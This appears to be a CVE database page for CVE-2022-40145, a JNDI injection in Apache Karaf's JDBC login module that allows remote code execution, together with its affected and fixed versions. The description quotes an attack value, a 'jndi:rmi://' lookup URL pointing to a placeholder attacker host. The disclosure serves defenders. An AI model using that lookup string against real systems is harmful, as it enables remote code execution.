Skip to content
fr Sign in
Not rated

CVE-2022-40145 This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in…

Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Affected products and versions

Product Affected versions Fixed in
Apache Karaf 4.4 4.4.0 → < 4.4.2 4.4.2
Apache Karaf 4.3 earliest → < 4.3.8 4.3.8

References

Timeline

  1. Published
  2. Last modified

Other CVEs of Apache Karaf

The 15 CVEs of Apache Karaf →
CVE-2026-92142 Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC)… Not rated CVE-2026-91085 Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files… Not rated CVE-2026-91048 The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg Not rated CVE-2026-91012 org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties), which backs the "config" MBean and the… Not rated
Track this CVE